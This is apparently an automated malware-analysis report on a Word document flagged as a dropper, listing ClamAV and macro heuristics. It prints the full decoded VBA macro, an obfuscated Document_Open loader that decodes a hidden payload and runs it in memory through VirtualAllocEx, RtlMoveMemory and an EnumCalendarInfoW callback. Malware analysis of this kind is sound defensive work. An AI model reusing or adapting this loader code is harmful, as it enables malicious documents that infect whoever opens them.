MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The critical ClamAV heuristic indicates this file is a known dropper. The presence of VBA macros, specifically a Document_Open macro, suggests it's designed to execute malicious code upon opening. The VBA code appears to be obfuscated but likely attempts to download and execute a secondary payload, a common tactic for droppers.
Heuristics 5
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ClamAV: Doc.Dropper.Agent-1815393 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-1815393
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Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_Open() Dim lobularity As Variant -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11903 bytes |
SHA-256: 339743b3736f5cfc578b980b72069aeae4070151d054d33593260c6022cd24e9 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub tableSel()
Dim tempTable
Documents("Log.doc").Tables(1).Select
Set tempTable = Selection.Tables(1).Range
tempRange.Tables(2).Select
End Sub
Function thriftless(scrimp)
Dim lug As Long
Dim caressd As String
Dim moneygrubber As Long
diatom moneygrubber, ByVal VarPtr(scrimp) + 8, 4
Dim mattre As Variant
Dim deadly As Variant
Dim formulate As Long
framework = 0
finnougric = -1
posited = 124 - 124
bocca = regulation \ 476
accipere = "hyperemia"
menyanthaceae = 4096
beslubber = booger(ByVal finnougric, posited, 7396, menyanthaceae, 64)
dermatome = holder
diatom formulate, ByVal VarPtr(beslubber) + 8, 4
bocca = bocca + 404
diatom ByVal formulate, ByVal moneygrubber, 5538
euphrosyne = 65
acris = 99
If euphrosyne + acris < 12 Then
euphrosyne = "ca" & UCase$("rPinAcEAE")
dermatome = "fantan"
heliport = "lo" & Mid("chantedwringneutralist", 8, 5)
Else
accipere = accipere
acris = 95
End If
thriftless = formulate
End Function
Private Sub Document_Open()
Dim lobularity As Variant
Dim drenching As Byte
chon = "wanderlust"
admired = "molossidae"
brazenly
pierced = 11
While pierced < 14
myelocyte = "bairava"
calculus = "neonatal"
pierced = pierced + 1
regulation = regulation \ 64
Wend
End Sub
Sub brazenly()
Dim congenital As Variant
Dim spirochaetales As Long
Set flummery = murrion.excusably.BoundValue("Tab2")
pearly = flummery.ControlTipText
coreference = 7368
bennettitis = Right(pearly, coreference)
fusillade = tocology.nankeen(bennettitis)
For dovetailing = 48 To 74
hatbox = 74
bocca = os / 374
abashment = LCase$("Se") & Mid("arrogantrratvancourier", 9, 4) & Right$("unnourishedus", 2)
abashment = LCase$("bo") & Mid("carolinianrreliasunburst", 11, 6)
Next dovetailing
bookmaker = "lagodon"
pokerish = "heath"
#If VBA6 And Win64 Then
Dim brussels As String
Dim milliard As saunter
Dim penman As LongPtr
milliard.elseifstatement = 0
Dim soap As Byte
#Else
Dim cranioscopy As Integer
milliard = 0
Dim gauntleted As Byte
Dim penman As Long
#End If
peacockthrone = 110 - 110
gentiana = "calefacient"
acathexis = 4096
candlepins = 88
moonfaced = 98
If candlepins + moonfaced < 34 Then
candlepins = Mid("mysticalabnegress", 9, 2) & Left("eyantimpermissibility", 5)
dermatome = "tough"
volatility = UCase$("appr") & "ehensi" & UCase$("veNeSs")
Else
holder = "eudemon"
moonfaced = 61
End If
measurable = "compressor"
anorexia = "chlorothiazide"
courier = "coiffeuse"
breakax = 5
While breakax < 8
tardi = "antennal"
breakax = breakax + 1
bocca = bocca - 197
Wend
eggshaped = fusillade
blushingly = Right$("warnedcr", 2) & Left("ustyflaunt", 4)
penman = thriftless(eggshaped)
amperage = "po" & Mid("compounddargfiberoptic", 9, 4) & Left("usindex", 2)
#If VBA6 And Win64 Then
Dim muros As Byte
felis = "restorable"
acetous = "geometric"
emissum = "eubryales"
enki = 96 - 71 - 91 + 1346
#ElseIf Win32 Then
tolerance = "beirut"
heredity = "cichlidae"
interchange = 29 - 123 - 102 + 702
enki = interchange + 3171
#End If
Dim subministration As Variant
Dim overgarment As Integer
Dim caseation As Long
caseation = 2048
Dim pheasant As Long
pheasant = penman + enki
Dim coccinellidae As Long
coccinellidae = 71 - 70
agamemnon = horsecar(pheasant, caseation, coccinellidae, coccinellidae)
For nonrational = 18 To 59
leccinum = 59
bocca = regulation And 496
gentium = "ca" & UCase$("StRi") & Right$("phones", 2)
gentium = UCase$("fO") & Left("rficularussulaceae", 7)
Next nonrational
End Sub
Attribute VB_Name = "tocology"
'so if it all fails just throw it back in my face and bury me
#If VBA6 And Win64 Then
'I hope you won't be saddened while I cry about it
Public Type saunter
'I hope you won't be saddened while I cry about it
elseifstatement As LongPtr
'all the thoughts in my head are constantly .. haunting me
End Type
'I can't watch things further complicate
Public Declare PtrSafe Function broach Lib "kernel32" Alias "Sleep" (bromelia As LongPtr)
'so if it all fails just throw it back in my face and bury me
Public Declare PtrSafe Function callitrichaceae Lib "user32" Alias "GetUpdateRect" (aftermost As LongPtr, ingredient As LongPtr,imminence As LongPtr) As Boolean
'I hope that I don't bore you while I whine about it
Public Declare PtrSafe Function horsecar Lib "kernel32" Alias "EnumCalendarInfoW" (ByVal feticism As Any, ByVal pranks As Any, ByVal multiplicity As Any, ByVal peristaltic As Any) As LongPtr
'I'd like to think there's more something more
Public Declare PtrSafe Sub diatom Lib "ntdll.dll" Alias "RtlMoveMemory" (eidoloclast As Any, straphanger As Any, ByVal respective As LongPtr)
'so if it all fails just throw it back in my face and bury me
Public Declare PtrSafe Function secretness Lib "user32" Alias "OpenClipboard" (pachisi As LongPtr) As Boolean
'this endless propaganda (corporate agenda)
Public Declare PtrSafe Function box Lib "user32" Alias "SetParent" (ByVal knockknee As LongPtr, ByVal bene As LongPtr,smog As LongPtr) As LongPtr
'I'm lost in this place it's such a waste
Public Declare PtrSafe Function unvariedness Lib "user32" Alias "EndPaint" (contravene As LongPtr,ayin As LongPtr) As LongPtr
'Everyday I wake up to stagnant bullshit
Public Declare PtrSafe Function booger Lib "kernel32" Alias "VirtualAllocEx" (bluishness As LongPtr, ByVal blatantly As LongPtr, ByVal ambages As LongPtr, ByVal friendly As LongPtr, ByVal snobbery As LongPtr) As LongPtr
'I'm lost in this place it's such a waste
'I can't watch things further complicate
#Else
'this endless propaganda (corporate agenda)
Public Declare Function horsecar Lib "kernel32" Alias "EnumCalendarInfoW" (ByVal mettre As Any, ByVal comportment As Any, ByVal aduncity As Any, ByVal launderette As Any) As Long
'as soon as I escape there's more stagnant bullsshit
Public Declare Function blackletter Lib "kernel32" Alias "Sleep" (aloft As Long)
'I can't watch things further complicate
Public Declare Function amaritude Lib "user32" Alias "SetParent" (ByVal peer As Long, ByVal madbrained As Long, astrodynamics As Long) As Long
'I'm lost in this place it's such a waste
Public Declare Function mensuration Lib "user32" Alias "GetUpdateRect" (kunlun As Long, mortua As Long, indefectibility As Long) As Boolean
'all the thoughts in my head are constantly .. haunting me
Public Declare Function fervor Lib "user32" Alias "OpenClipboard" (cestus As Long) As Boolean
'I keep telling myself that there's something more
Public Declare Function adventitial Lib "user32" Alias "EndPaint" (arabist As Long, conspiratorial As Long) As Long
'I can't take another complication
Public Declare Sub diatom Lib "ntdll.dll" Alias "RtlMoveMemory" (nonaddition As Any, armorclad As Any, ByVal simpleton As Long)
'I can't take another complication
Public Declare Function booger Lib "kernel32" Alias "VirtualAllocEx" (afterthought As Long, ByVal confinement As Long, ByVal biography As Long, ByVal mango As Long, ByVal confrontation As Long) As Long
'I can't take another complication
'I can't take another complication
#End If
'I can't take another complication
Function nankeen(inexpungible) As String
Dim muraenidae As Long
Dim maniacal(255) As Byte
Dim achievability As Integer
Dim meatus As Long
Dim onset As Integer
os = os + 138
Dim fiscalize(63) As Long
Dim abnormous As Integer
Dim lyram As String
Dim circumambulation(5525) As Byte
Dim offer(63) As Long
dermatome = "alkalimetry"
Dim famishment As Long
Dim despect(63) As Long
Dim canachites As Long
Dim dumbbell() As Byte
Dim irish As String
insularity = 65280
dohickey = 128 - 90 - 101 + 262207
monotremata = 16711680
Dim sarcolemmal As Byte
irreconcilable = 65536
Dim apsidal As Variant
olfaction = 64
ace = 95 + 16514977
griveous = 4096
grievance = 63
colostrum = 56 - 107 + 4083
boo = 256
pittance = 255
catcall = 87 - 83 + 3 + 258041
Dim publisher As Byte
Dim sententiae As Long
Dim sketch(7367) As Byte
palatial = 39 + 7329
For anagasta = 1 To palatial
procerity = Mid(inexpungible, anagasta, 1)
steadfast = "pa" & "ddlefish"
percussive = AscW(procerity)
sketch(anagasta - 1) = percussive
Next
Dim isocyanate As String
brokery = 6
While brokery < 10
clovis = "angelicanism"
gymnadeniopsis = "mesomorph"
brokery = brokery + 1
os = os / 283
Wend
facilis = 7367
satanic = 35
For avifaunal = 0 To facilis
sketch(avifaunal) = sketch(avifaunal) + 4
Next avifaunal
endimanche = 81
avouchment = 99
If endimanche + avouchment < 17 Then
endimanche = Left("inbatten", 2) & LCase$("StAn") & Right$("amyxiat", 1)
bocca = os And 151
absento = "ho" & UCase$("RsEC") & Left("artacaudate", 3)
Else
regulation = os / 75
avouchment = 103
End If
achievability = 0
lesperance = 122
aforesaid = 76 + 179
For famishment = 0 To aforesaid
If (famishment >= 65) And (famishment <= 90) Then
maniacal(famishment) = famishment - 65
ElseIf (famishment >= 97) And (famishment <= 122) Then
maniacal(famishment) = famishment - 71
ElseIf (famishment >= 48) And (famishment <= 57) Then
maniacal(famishment) = famishment + 4
ElseIf famishment = 43 Then
maniacal(famishment) = 62
ElseIf famishment = 47 Then
maniacal(famishment) = 63
End If
Next famishment
For famishment = 0 To 63
despect(famishment) = displaced(famishment, olfaction)
fiscalize(famishment) = displaced(famishment, griveous)
offer(famishment) = displaced(famishment, dohickey)
Next famishment
For guineabissau = 20 To 76
profit = 76
holder = "presuppose"
amortization = Left("erfullbodied", 2) & "iosoma"
amortization = "ar" & Right$("beaconmed", 3)
Next guineabissau
dumbbell = sketch
leguminous = 22 - 18
hiccup = 9
While hiccup < 14
hiccup = hiccup + 1
regulation = regulation * 2
Wend
dravidian = 3
accipere = "misconducted"
bocca = bocca + 135
anagasta = dravidian + 1
ghanian = 37 + 102 - 91 - 46
For muraenidae = 0 To facilis
choppy = dumbbell(muraenidae)
canachites = offer(maniacal(choppy)) _
+ fiscalize(maniacal(dumbbell(muraenidae + 1))) + despect(maniacal(dumbbell(muraenidae + 2))) + maniacal(dumbbell(muraenidae + dravidian))
famishment = canonization(canachites, monotremata)
circumambulation(meatus) = aground(famishment, irreconcilable)
famishment = canonization(canachites, insularity)
circumambulation(meatus + 1) = aground(famishment, boo)
circumambulation(meatus + ghanian) = canonization(canachites, pittance)
meatus = meatus + ghanian + 1
muraenidae = muraenidae + 3
Next
nankeen = circumambulation
End Function
Function canonization(fenceless, bellows)
canonization = fenceless And bellows
End Function
Sub RemovePageNumbersFromCurrentSection()
Dim ThisHeader As HeaderFooter
Dim ThisPageNumber As PageNumber
With Selection.Sections(1)
For Each ThisHeader In .Headers
For Each ThisPageNumber In ThisHeader.PageNumbers
ThisPageNumber.Delete
Next ThisPageNumber
Next ThisHeader
End With
End Sub
Function aground(nonarboreal, premedical)
aground = nonarboreal \ premedical
End Function
Function displaced(colors, citrange)
displaced = colors * citrange
End Function
Attribute VB_Name = "murrion"
Attribute VB_Base = "0{9AAF054D-8E34-476B-A4DD-25C9415FD00A}{6CE7BA71-6D86-4B62-A749-8BE6BD83A7C7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
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